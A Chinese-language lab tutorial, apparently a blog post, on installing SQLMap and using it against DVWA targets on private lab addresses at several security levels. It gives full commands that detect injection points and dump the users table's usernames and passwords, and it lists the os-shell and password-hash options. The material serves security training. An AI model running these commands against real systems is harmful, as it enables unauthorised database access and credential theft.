SQLMap 扫描利用SQL注入

一、SQLMap介绍

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
SQLMap采用了以下5种独特的SQL注入技术:
  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断
  • 基于报错注入即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

二、安装

1、安装git
    apt-get install git
2、克隆sqlmap
    git clone git://github.com/sqlmapproject/sqlmap.git
SQLMap 扫描利用SQL注入_第1张图片
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
     cd sqlmap/
     ./sqlmap.py -h
SQLMap 扫描利用SQL注入_第2张图片
SQLMap 扫描利用SQL注入_第3张图片
查看sqlmap的命令字帮助手册
-"url"       #检测注入点
--dbs           #列出所有数据库的名称
--current-db    #列出当前数据库的名称
-D              #指定一个数据库
--table         #列出所有表名
-T              #指定表名
--columns       #列出所有字段名
-C              #指定字段
--dump          #列出字段内容
--os-shell      # 提示输入交互式操作系统shell
--os-cmd=OSCMD  # Execute an operating system command
--passwords     # 枚举DBMS用户密码哈希
-v VERBOSE用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。
  • 0:仅显示 Python 回溯、错误和关键消息。
  • 1:还显示信息和警告消息。
  • 2:还显示调试消息。
  • 3:还显示注入的有效负载。
  • 4:还显示 HTTP 请求。
  • 5:还显示 HTTP 响应的标头。
  • 6:还显示 HTTP 响应的页面内容。
sqlmap.py -u "注入地址"  --dbs            # 列举数据库
sqlmap.py -u "注入地址"  --current--db    # 当前数据库
sqlmap.py -u "注入地址"  --users          # 列数据库用户
sqlmap.py -u "注入地址"  --current--user  # 当前用户
sqlmap.py -u "注入地址"  --tables -D "数据库"   # 列举指定数据库的表名
sqlmap.py -u "注入地址"  --columns -T "表名" -D "数据库"  # 获取数据库表的列名
sqlmap.py -u "注入地址"  --dump -T "表名" -D "数据库"  # 获取数据库表的所有内容
sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库"   # 获取数据库下表的列信息
sqlmap: automatic SQL injection and database takeover tool有个视频演示。

三、Kail自带的sqlmap更新

先输入 sqlmap -update命令 但是命令没有成功 看来是不对的。
1、找到sqlmap的安装路径 因为kali自带sqlmap所以一般的路径都是/usr/share/sqlmap;
2、cd /usr/share/
3、删除掉原来的sqlmap:rm -rf sqlmap
4、输入 git clone GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
5、更新完成了输入sqlmap -h

四、kail+靶机演示

4.1、dvwa(Low)GET请求

4.1.1、环境准备

1、登录Metasploitable2靶机的http://192.168.11.105/dvwa,输入用户密码:admin/password, dvwa版本:  Version 1.0.7 (Release date: 08/09/10)
2、点击"DVWA Security",首先将难度调整为Low。
SQLMap 扫描利用SQL注入_第4张图片
3、点击SQL Injection,我们在查询接口输入User Id为1进行查询,这时候生成的地址就是我们的目标注入点http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,同时Cookie的值是security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979
SQLMap 扫描利用SQL注入_第5张图片

4.1.2、注入探测

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979"
SQLMap 扫描利用SQL注入_第6张图片
SQLMap 扫描利用SQL注入_第7张图片
可以看出,爆出了SQL注入漏洞,探测到数据库是mysql,版本4.1以上,所在操作系统Linux Ubuntu 8.04。
当SQLMap执行该命令时,它会执行以下步骤:
    1)判断可注入的参数;
    2)判断可以用哪种SQL注入技术来注入;
    3)识别出哪种数据库;
    4)根据用户选择,读取哪些数据。

4.1.3、获取所有数据库

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dbs
SQLMap 扫描利用SQL注入_第8张图片
可以看出列出了7个数据库名。

4.1.4、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --tables -D dvwa
SQLMap 扫描利用SQL注入_第9张图片

4.1.5、查看用户表中的所有数据

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -T users -D dvwa
SQLMap 扫描利用SQL注入_第10张图片

4.1.6、获取指定表中列名

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --columns -T users -D dvwa
SQLMap 扫描利用SQL注入_第11张图片

4.1.7、获取指定表中指定列的值

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -C "user, password" -T users -D dvwa
SQLMap 扫描利用SQL注入_第12张图片
dvwa版本:  Version 1.0.7 (Release date: 08/09/10),调整为medium级别后,SQL注入还是GET方式,跟low级别一样,推测是dvwa版本太低导致。
故docker搭建新的一套dvwa环境(docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS="root" citizenstig/dvwa,dvwa版本: Version 1.9 (Release date: 2015-09-19))。

4.2、dvwa(Medium) POST请求

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.2.1、调整靶场难度等级为中级

SQLMap 扫描利用SQL注入_第13张图片

4.2.2、确定注入点

难度调整为中级之后,请求方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
SQLMap 扫描利用SQL注入_第14张图片
POST  http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium

4.2.3、注入探测

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"
SQLMap 扫描利用SQL注入_第15张图片

4.2.4、获取所有数据库

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dbs
SQLMap 扫描利用SQL注入_第16张图片
可以看出列出了4个数据库名。

4.2.5、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --tables -D dvwa
SQLMap 扫描利用SQL注入_第17张图片

4.2.6、查看用户表中的所有数据

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -T users -D dvwa
SQLMap 扫描利用SQL注入_第18张图片

4.2.7、获取指定表中列名

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --columns -T users -D dvwa
SQLMap 扫描利用SQL注入_第19张图片

4.2.8、获取指定表中指定列的值

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -C "user, password" -T users -D dvwa
SQLMap 扫描利用SQL注入_第20张图片

4.3、dvwa(High)

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.3.1、调整级别

将DVWA难度调整为high之后,可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。
原窗口数据包请求方式为GET
GET http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
弹出的输入窗口请求方式为POST
POST http://192.168.11.135/vulnerabilities/sqli/session-input.php
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
负载:id=1&Submit=Submit
SQLMap 扫描利用SQL注入_第21张图片

4.3.2、需要用到联合查询命令‘second-url’

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high" --data "id=1&Submit=Submit" --second-u "http://192.168.11.135/vulnerabilities/sqli/"
SQLMap 扫描利用SQL注入_第22张图片

4.4、dvwa(Impossible)

dvwa版本: Version 1.9 (Release date: 2015-09-19)
Low、Medium、High级别其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。
Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,目前是无法进行注入的。
 

五、-r参数(从文本文件中获取http请求)

命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径
验证过程与-u参数类似
  1. 判断可注入的参数
  2. 判断可以用哪种SQL注入技术来注入
  3. 识别出所有存在的注入类型
  4. 尝试去判定数据库版本、开发语言、操作系统版本

5.1、dvwa(Low) GET请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
SQLMap 扫描利用SQL注入_第23张图片
爆当前数据库的库名sqlmap -r /usr/share/sqlmap/zq.txt --current-db
SQLMap 扫描利用SQL注入_第24张图片
生成缓存:/root/.local/share/sqlmap/output/192.168.11.135

5.2、dvwa(Medium) POST请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
SQLMap 扫描利用SQL注入_第25张图片
删除缓存:rm -rf  /root/.local/share/sqlmap/output/192.168.11.135
爆当前数据库的库名sqlmap -r /usr/share/sqlmap/zq.txt --current-db 
SQLMap 扫描利用SQL注入_第26张图片
 

六、参考

kali自带的sqlmap更新_XTJ469的博客-CSDN博客_sqlmap更新

sqlmap自动化漏洞利用(DVWA初、中、高)_PisaYu的博客-CSDN博客_sqlmap 渗透dvwa

《sqlmap 官网》

搭建DVWA漏洞环境_青霄的博客-CSDN博客

你可能感兴趣的:(安全,SQL注入,sqlmap)